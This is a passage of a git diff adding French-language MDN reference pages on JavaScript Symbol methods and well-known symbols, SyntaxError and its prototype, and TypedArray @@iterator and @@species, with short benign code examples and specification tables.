+  - Symbol
+translation_of: Web/JavaScript/Reference/Global_Objects/Symbol/toString
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>toString()</strong></code> renvoie une chaîne de caractères représentant l'objet <code>Symbol</code>.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/symbol-prototype-tostring.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>Symbol().toString()</var>;</pre>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Une chaîne de caractères qui représente l'objet {{jsxref("Symbol")}}.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>L'objet {{jsxref("Symbol")}} surcharge la méthode <code>toString()</code> d'{{jsxref("Object")}} et n'hérite pas de {{jsxref("Object.prototype.toString()")}}. Pour les objets <code>Symbol</code>, la méthode <code>toString()</code> renvoie représentation de l'objet sous forme d'une chaîne de caractères.</p>
+
+<h3 id="Concaténation_de_chaînes_et_symboles">Concaténation de chaînes et symboles</h3>
+
+<p>Bien qu'il soit possible d'appeler <code>toString()</code> pour les symboles, il n'est pas possible de concaténer une chaîne de caractères avec ce type d'objet :</p>
+
+<pre class="brush: js">Symbol("toto") + "machin";  // TypeError : Impossible de convertir un symbole en chaîne de caractères</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">Symbol("desc").toString();   // "Symbol(desc)"
+
+// symboles connus
+Symbol.iterator.toString();  // "Symbol(Symbol.iterator)
+
+// symboles globaux
+Symbol.for("toto").toString() // "Symbol(toto)"
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-symbol.prototype.tostring', 'Symbol.prototype.toString')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-symbol.prototype.tostring', 'Symbol.prototype.toString')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Symbol.toString")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Object.prototype.toString()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/symbol/tostringtag/index.html b/files/fr/web/javascript/reference/objets_globaux/symbol/tostringtag/index.html
new file mode 100644
index 0000000000..ba2e53b0b7
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/symbol/tostringtag/index.html
@@ -0,0 +1,93 @@
+---
+title: Symbol.toStringTag
+slug: Web/JavaScript/Reference/Objets_globaux/Symbol/toStringTag
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Propriété
+  - Reference
+  - Symbol
+translation_of: Web/JavaScript/Reference/Global_Objects/Symbol/toStringTag
+---
+<div>{{JSRef}}</div>
+
+<p>Le symbole connu <strong><code>Symbol.toStringTag</code></strong> est une propriété qui est une chaîne de caractères qui est utilisée pour la description textuelle par défaut d'un objet. Ce symbole est utilisé par le moteur JavaScript via la méthode {{jsxref("Object.prototype.toString()")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/symbol-tostringtag.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<div>{{js_property_attributes(0,0,0)}}</div>
+
+<h2 id="Description">Description</h2>
+
+<p>La plupart des types JavaScript ont des étiquettes par défaut :</p>
+
+<pre class="brush: js">Object.prototype.toString.call('toto');    // "[object String]"
+Object.prototype.toString.call([1, 2]);    // "[object Array]"
+Object.prototype.toString.call(3);         // "[object Number]"
+Object.prototype.toString.call(true);      // "[object Boolean]"
+Object.prototype.toString.call(undefined); // "[object Undefined]"
+Object.prototype.toString.call(null);      // "[object Null]"
+// etc.
+</pre>
+
+<p>D'autres ont le symbole natif <code>toStringTag</code> défini :</p>
+
+<pre class="brush: js">Object.prototype.toString.call(new Map());         // "[object Map]"
+Object.prototype.toString.call(function* () {});   // "[object GeneratorFunction]"
+Object.prototype.toString.call(Promise.resolve()); // "[object Promise]"
+// etc.
+</pre>
+
+<p>Lorsqu'on crée des classes personnalisées, JavaScript utilise l'étiquette "Object" par défaut :</p>
+
+<pre class="brush: js">class ValidatorClass {}
+
+Object.prototype.toString.call(new ValidatorClass()); // "[object Object]"
+</pre>
+
+<p>Si on utilise le symbole <code>toStringTag</code> on peut définir une étiquette personnalisée :</p>
+
+<pre class="brush: js">class ValidatorClass {
+  get [Symbol.toStringTag]() {
+    return "Validator";
+  }
+}
+
+Object.prototype.toString.call(new ValidatorClass()); // "[object Validator]"
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-symbol.tostringtag', 'Symbol.toStringTag')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-symbol.tostringtag', 'Symbol.toStringTag')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Symbol.toStringTag")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Object.prototype.toString()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/symbol/unscopables/index.html b/files/fr/web/javascript/reference/objets_globaux/symbol/unscopables/index.html
new file mode 100644
index 0000000000..b026e13a40
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/symbol/unscopables/index.html
@@ -0,0 +1,93 @@
+---
+title: Symbol.unscopables
+slug: Web/JavaScript/Reference/Objets_globaux/Symbol/unscopables
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Propriété
+  - Reference
+  - Symbol
+translation_of: Web/JavaScript/Reference/Global_Objects/Symbol/unscopables
+---
+<div>{{JSRef}}</div>
+
+<p>Le symbole connu <strong><code>Symbol.unscopables</code></strong> est utilisé afin de définir les noms des propriétés propres et héritées qui sont exclues de l'objet lors de l'utilisation de <code><a href="/fr/docs/Web/JavaScript/Reference/Instructions/with">with</a></code> sur l'objet en question.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/symbol-unscopables.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Le symbole <code>@@unscopables</code> (<code>Symbol.unscopables</code>) peut être défini sur n'importe quel objet afin de ne pas exposer certaines propriétés lors des liaisons lexicales avec <code><a href="/fr/docs/Web/JavaScript/Reference/Instructions/with">with</a></code>. Note : en mode strict, l'instruction <code>with</code> n'est pas disponible et ce symbole est donc probablement moins nécessaire.</p>
+
+<p>En définissant une propriété comme <code>true</code> dans un objet <code>unscopables</code>, cela exclura la propriété de la portée lexicale. En définissant une propriété comme <code>false</code>, celle-ci pourra faire partie de la portée lexicale et être manipulée dans un bloc <code>with</code>.</p>
+
+<p>{{js_property_attributes(0,0,0)}}</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Le code qui suit fonctionne bien pour ES5 et les versions antérieures. En revanche, pour ECMAScript 2015 (ES6) et les versions ultérieures où la méthode  {{jsxref("Array.prototype.keys()")}} existe, lorsqu'on utilise un environnement créé avec <code>with</code>, <code>"keys"</code> serait désormais la méthode et non la variable. C'est là que le symbole natif <code>@@unscopables</code> <code>Array.prototype[@@unscopables]</code> intervient et empêche d'explorer ces méthodes avec <code>with</code>.</p>
+
+<pre class="brush: js">var keys = [];
+
+with(Array.prototype) {
+  keys.push("something");
+}
+
+Object.keys(Array.prototype[Symbol.unscopables]);
+// ["copyWithin", "entries", "fill", "find", "findIndex",
+//  "includes", "keys", "values"]</pre>
+
+<p>On peut également manipuler <code>unscopables</code> sur ses propres objets :</p>
+
+<pre class="brush: js">var obj = {
+  toto: 1,
+  truc: 2
+};
+
+obj[Symbol.unscopables] = {
+  toto: false,
+  truc: true
+};
+
+with(obj) {
+  console.log(toto); // 1
+  console.log(truc); // ReferenceError: truc is not defined
+}
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-symbol.unscopables', 'Symbol.unscopables')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-symbol.unscopables', 'Symbol.unscopables')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Symbol.unscopables")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Array.@@unscopables", "Array.prototype[@@unscopables]")}}</li>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Instructions/with">L'instruction <code>with</code></a> (qui n'est pas disponible <a href="/fr/docs/Web/JavaScript/Reference/Strict_mode">en mode strict</a>)</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/symbol/valueof/index.html b/files/fr/web/javascript/reference/objets_globaux/symbol/valueof/index.html
new file mode 100644
index 0000000000..20e41ab280
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/symbol/valueof/index.html
@@ -0,0 +1,64 @@
+---
+title: Symbol.prototype.valueOf()
+slug: Web/JavaScript/Reference/Objets_globaux/Symbol/valueOf
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - Symbol
+translation_of: Web/JavaScript/Reference/Global_Objects/Symbol/valueOf
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>valueOf()</strong></code> renvoie la valeur primitive correspondant à l'objet <code>Symbol</code>.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>Symbol().valueOf();
+</var></pre>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>La valeur primitive de l'objet {{jsxref("Symbol")}} indiqué.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>La méthode <code>valueOf</code> de {{jsxref("Symbol")}} renvoie une valeur dont le type est le type primitif symbole à partir de l'objet <code>Symbol</code> donné.</p>
+
+<p>JavaScript appelle la méthode <code>valueOf</code> afin de convertir l'objet en une valeur primitive. La plupart du temps, il n'est pas nécessaire d'appeler explicitement la méthode <code>valueOf</code>. JavaScript l'appelle automatiquement dans les cas où une valeur primitive est attendue.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-symbol.prototype.valueof', 'Symbol.prototype.valueOf')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-symbol.prototype.valueof', 'Symbol.prototype.valueOf')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Symbol.valueOf")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Object.prototype.valueOf()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/syntaxerror/index.html b/files/fr/web/javascript/reference/objets_globaux/syntaxerror/index.html
new file mode 100644
index 0000000000..2f362a9467
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/syntaxerror/index.html
@@ -0,0 +1,133 @@
+---
+title: SyntaxError
+slug: Web/JavaScript/Reference/Objets_globaux/SyntaxError
+tags:
+  - Error
+  - JavaScript
+  - Object
+  - Reference
+  - SyntaxError
+translation_of: Web/JavaScript/Reference/Global_Objects/SyntaxError
+---
+<div>{{JSRef}}</div>
+
+<p>L'objet <code><strong>SyntaxError</strong></code> représente une erreur qui se produit lors de l'interprétation d'un code dont la syntaxe est invalide.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Une exception <code>SyntaxError</code> est levée lorsque le moteur JavaScript rencontre des entités lexicales invalide ou dans un ordre invalide par rapport à la grammaire du langage.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><code>new SyntaxError([<var>message</var>[, <var>nomFichier</var>[, <var>numLigne</var>]]])</code></pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>message</code>{{optional_inline}}</dt>
+ <dd>Une description, lisible par un humain, de l'erreur.</dd>
+ <dt><code>nomFichier</code> {{optional_inline}}{{non-standard_inline}}</dt>
+ <dd>Le nom du fichier contenant le code provoquant l'erreur.</dd>
+ <dt><code>numLigne</code> {{optional_inline}}{{non-standard_inline}}</dt>
+ <dd>Le numéro de la ligne du code qui a provoqué l'exception.</dd>
+</dl>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt>{{jsxref("SyntaxError.prototype")}}</dt>
+ <dd>Cette méthode permet d'ajouter des propriétés aux instance de <code>SyntaxError</code>.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p>L'objet global <code>SyntaxError</code> ne contient pas de méthodes directes. En revanche, il hérite de méthodes grâce à sa chaîne de prototypes.</p>
+
+<h2 id="Instances_de_SyntaxError">Instances de <code>SyntaxError</code></h2>
+
+<h3 id="Propriétés_2">Propriétés</h3>
+
+<div>{{page('/fr/docs/Web/JavaScript/Reference/Objets_globaux/SyntaxError/prototype', 'Propriétés')}}</div>
+
+<h3 id="Méthodes_2">Méthodes</h3>
+
+<div>{{page('/fr/docs/Web/JavaScript/Reference/Objets_globaux/SyntaxError/prototype', 'Méthodes')}}</div>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Intercepter_une_exception_SyntaxError">Intercepter une exception <code>SyntaxError</code></h3>
+
+<pre class="brush: js">try {
+  eval('toto truc');
+} catch (e) {
+  console.log(e instanceof SyntaxError); // true
+  console.log(e.message);                // "missing ; before statement"
+  console.log(e.name);                   // "SyntaxError"
+  console.log(e.fileName);               // "Scratchpad/1"
+  console.log(e.lineNumber);             // 1
+  console.log(e.columnNumber);           // 4
+  console.log(e.stack);                  // "@Scratchpad/1:2:3\n"
+}
+</pre>
+
+<h3 id="Créer_une_exception_SyntaxError">Créer une exception <code>SyntaxError</code></h3>
+
+<pre class="brush: js">try {
+  throw new SyntaxError('Coucou', 'unFichier.js', 10);
+} catch (e) {
+  console.log(e instanceof SyntaxError); // true
+  console.log(e.message);                // "Coucou"
+  console.log(e.name);                   // "SyntaxError"
+  console.log(e.fileName);               // "unFichier.js"
+  console.log(e.lineNumber);             // 10
+  console.log(e.columnNumber);           // 0
+  console.log(e.stack);                  // "@Scratchpad/2:11:9\n"
+}
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.11.6.4', 'SyntaxError')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-native-error-types-used-in-this-standard-syntaxerror', 'SyntaxError')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-native-error-types-used-in-this-standard-syntaxerror', 'SyntaxError')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.SyntaxError")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Error")}}</li>
+ <li>{{jsxref("SyntaxError.prototype")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/syntaxerror/prototype/index.html b/files/fr/web/javascript/reference/objets_globaux/syntaxerror/prototype/index.html
new file mode 100644
index 0000000000..2256b66b87
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/syntaxerror/prototype/index.html
@@ -0,0 +1,89 @@
+---
+title: SyntaxError.prototype
+slug: Web/JavaScript/Reference/Objets_globaux/SyntaxError/prototype
+tags:
+  - Error
+  - JavaScript
+  - Propriété
+  - Prototype
+  - Reference
+  - SyntaxError
+translation_of: Web/JavaScript/Reference/Global_Objects/SyntaxError
+---
+<div>{{JSRef}}</div>
+
+<p>La propriété <code><strong>SyntaxError.prototype</strong></code> représente le prototype du constructeur {{jsxref("SyntaxError")}}.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Toutes les instances de {{jsxref("SyntaxError")}} héritent de <code>SyntaxError.prototype</code>. Le prototype peut être utilisé afin d'ajouter des propriétés ou des méthodes à toutes les instances.</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt><code>SyntaxError.prototype.constructor</code></dt>
+ <dd>Définit la fonction qui a créé le prototype d'une instance.</dd>
+ <dt>{{jsxref("Error.prototype.message", "SyntaxError.prototype.message")}}</dt>
+ <dd>Un message d'erreur. Bien que ECMA-262 définisse que {{jsxref("SyntaxError")}} doit avoir une propriété <code>message</code> en propre, dans <a href="/fr/docs/SpiderMonkey">SpiderMonkey</a>, elle est héritée depuis {{jsxref("Error.prototype.message")}}.</dd>
+ <dt>{{jsxref("Error.prototype.name", "SyntaxError.prototype.name")}}</dt>
+ <dd>Un nom d'erreur. Propriété héritée depuis {{jsxref("Error")}}.</dd>
+ <dt>{{jsxref("Error.prototype.fileName", "SyntaxError.prototype.fileName")}}</dt>
+ <dd>Le chemin du fichier qui a causé l'erreur. Propriété héritée depuis {{jsxref("Error")}}.</dd>
+ <dt>{{jsxref("Error.prototype.lineNumber", "SyntaxError.prototype.lineNumber")}}</dt>
+ <dd>Le numéro de la ligne du fichier qui a causé l'erreur. Propriété héritée depuis {{jsxref("Error")}}.</dd>
+ <dt>{{jsxref("Error.prototype.columnNumber", "SyntaxError.prototype.columnNumber")}}</dt>
+ <dd>Le numéro de la colonne dans la ligne qui a causé l'erreur. Propriété héritée depuis {{jsxref("Error")}}.</dd>
+ <dt>{{jsxref("Error.prototype.stack", "SyntaxError.prototype.stack")}}</dt>
+ <dd>La pile d'appels (<em>stack trace</em>). Propriété héritée depuis {{jsxref("Error")}}.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p>Bien que le prototype de {{jsxref("SyntaxError")}} ne possède pas de méthodes directes, les instances de {{jsxref("SyntaxError")}} héritent de certaines méthodes via la chaîne de prototypes.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.11.7.6', 'NativeError.prototype')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Définie comme <code><em>NativeError</em>.prototype</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-nativeerror.prototype', 'NativeError.prototype')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Définie comme <code><em>NativeError</em>.prototype</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-nativeerror.prototype', 'NativeError.prototype')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>Définie comme <code><em>NativeError</em>.prototype</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.SyntaxError")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Error.prototype")}}</li>
+ <li>{{jsxref("Function.prototype")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/typedarray/@@iterator/index.html b/files/fr/web/javascript/reference/objets_globaux/typedarray/@@iterator/index.html
new file mode 100644
index 0000000000..1a209ec17d
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/typedarray/@@iterator/index.html
@@ -0,0 +1,86 @@
+---
+title: 'TypedArray.prototype[@@iterator]()'
+slug: Web/JavaScript/Reference/Objets_globaux/TypedArray/@@iterator
+tags:
+  - Iterator
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - TypedArray
+  - TypedArrays
+translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/@@iterator
+---
+<div>{{JSRef}}</div>
+
+<p>La valeur initiale de la propriété @@iterator est le même objet fonction que la valeur initiale de {{jsxref("TypedArray.prototype.values()", "values")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>typedarray</var>[Symbol.iterator]()</pre>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Une fonction d'itération sur le tableau typé, par défaut, c'est la fonction {{jsxref("TypedArray.prototype.values()","values()")}}.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Parcourir_un_tableau_typé_avec_for...of">Parcourir un tableau typé avec <code>for...of</code></h3>
+
+<pre class="brush: js">var arr = new Uint8Array([10, 20, 30, 40, 50]);
+// prérequis : le navigateur doit supporter les boucles
+// for..of et les variables dont la portée est définie
+// par let
+for (let n of arr) {
+  console.log(n);
+}
+</pre>
+
+<h3 id="Autre_méthode_d'itération">Autre méthode d'itération</h3>
+
+<pre class="brush: js">var arr = new Uint8Array([10, 20, 30, 40, 50]);
+var eArr = arr[Symbol.iterator]();
+console.log(eArr.next().value); // 10
+console.log(eArr.next().value); // 20
+console.log(eArr.next().value); // 30
+console.log(eArr.next().value); // 40
+console.log(eArr.next().value); // 50
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-%typedarray%.prototype-@@iterator', '%TypedArray%.prototype[@@iterator]()')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-%typedarray%.prototype-@@iterator', '%TypedArray%.prototype[@@iterator]()')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.TypedArray.@@iterator")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/JavaScript/Tableaux_typés">Les tableaux typés en JavaScript</a></li>
+ <li>{{jsxref("TypedArray")}}</li>
+ <li>{{jsxref("TypedArray.prototype.entries()")}}</li>
+ <li>{{jsxref("TypedArray.prototype.keys()")}}</li>
+ <li>{{jsxref("TypedArray.prototype.values()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/typedarray/@@species/index.html b/files/fr/web/javascript/reference/objets_globaux/typedarray/@@species/index.html
new file mode 100644
index 0000000000..0cbd8761a6
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/typedarray/@@species/index.html
@@ -0,0 +1,88 @@
+---
+title: 'get TypedArray[@@species]'
+slug: Web/JavaScript/Reference/Objets_globaux/TypedArray/@@species
+tags:
+  - JavaScript
+  - Propriété
+  - Prototype
+  - Reference
+  - TypedArray
+  - TypedArrays
+translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/@@species
+---
+<div>{{JSRef}}</div>
+
+<p>La propriété d'accesseur <code><strong>TypedArray[@@species]</strong></code> renvoie le constructeur <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/TypedArray#Les_objets_TypedArray">du tableau typé</a>.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>TypedArray</em>[Symbol.species]
+
+où <em>TypedArray</em> vaut :
+
+Int8Array
+Uint8Array
+Uint8ClampedArray
+Int16Array
+Uint16Array
+Int32Array
+Uint32Array
+Float32Array
+Float64Array
+</pre>
+
+<h2 id="Description">Description</h2>
+
+<p>L'accesseur <code>species</code> renvoie le constructeur par défaut pour les tableaux typés. Les constructeurs des sous-classes peuvent surcharger ce symbole pour modifier l'affectation du constructeur.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>La propriété <code>species</code> renvoie le constructeur par défaut qui est l'un des constructeurs de tableau typé (selon le type <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/TypedArray#Les_objets_TypedArray">de tableau typé</a> de l'objet) :</p>
+
+<pre class="brush: js">Int8Array[Symbol.species];    // function Int8Array()
+Uint8Array[Symbol.species];   // function Uint8Array()
+Float32Array[Symbol.species]; // function Float32Array()
+</pre>
+
+<p>Pour un objet construit sur mesure (par exemple une tableau <code>MonTableauTypé</code>), le symbole <code>species</code> de <code>MonTableauTypé</code> sera le constructeur <code>MonTableauTypé</code>. Mais on peut vouloir surcharger ce comportement pour renvoyer le constructeur du type parent :</p>
+
+<pre class="brush: js">class MonTableauTypé extends Uint8Array {
+  // On surcharge species pour MonTableauTypé
+  // pour récupérer le constructeur Uint8Array
+  static get [Symbol.species]() { return Uint8Array; }
+}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-get-%typedarray%-@@species', 'get %TypedArray% [ @@species ]')}}</td>
+   <td>{{Spec2('ES6')}}</td>
